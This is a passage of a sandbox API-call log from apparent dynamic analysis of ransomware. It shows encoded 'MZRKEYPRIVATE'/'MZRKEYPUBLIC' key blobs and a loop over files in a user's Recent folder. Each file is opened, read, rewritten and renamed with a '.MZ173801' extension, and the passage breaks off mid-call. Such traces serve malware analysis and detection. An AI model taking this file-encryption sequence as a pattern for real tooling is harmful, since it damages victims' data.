lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.436] GetCurrentThreadId () returned 0xab4 [0152.436] GetCurrentThreadId () returned 0xab4 [0152.436] GetCurrentThreadId () returned 0xab4 [0152.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.437] GetCurrentThreadId () returned 0xab4 [0152.437] GetCurrentThreadId () returned 0xab4 [0152.437] GetCurrentThreadId () returned 0xab4 [0152.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UwqXZEB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uwqxzeb.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.437] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.437] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.437] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3ca [0152.437] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.437] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3ca, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3ca, lpOverlapped=0x0) returned 1 [0152.438] CloseHandle (hObject=0x280) returned 1 [0152.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UwqXZEB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uwqxzeb.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.439] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3ca, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3ca, lpOverlapped=0x0) returned 1 [0152.440] CloseHandle (hObject=0x280) returned 1 [0152.442] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UwqXZEB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uwqxzeb.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UwqXZEB.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uwqxzeb.lnk.mz173801")) returned 1 [0152.443] GetCurrentThreadId () returned 0xab4 [0152.443] GetCurrentThreadId () returned 0xab4 [0152.443] GetCurrentThreadId () returned 0xab4 [0152.443] GetCurrentThreadId () returned 0xab4 [0152.443] GetCurrentThreadId () returned 0xab4 [0152.443] GetCurrentThreadId () returned 0xab4 [0152.443] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf252c72e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf252c72e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf252c72e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="v32KoNWBg.lnk", cAlternateFileName="V32KON~1.LNK")) returned 1 [0152.443] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.443] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v32KoNWBg.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v32konwbg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf252c72e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf252c72e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf252c72e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5)) returned 1 [0152.444] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v32KoNWBg.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v32konwbg.lnk")) returned 0x20 [0152.444] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v32KoNWBg.lnk", dwFileAttributes=0x80) returned 1 [0152.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.448] GetCurrentThreadId () returned 0xab4 [0152.448] GetCurrentThreadId () returned 0xab4 [0152.448] GetCurrentThreadId () returned 0xab4 [0152.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 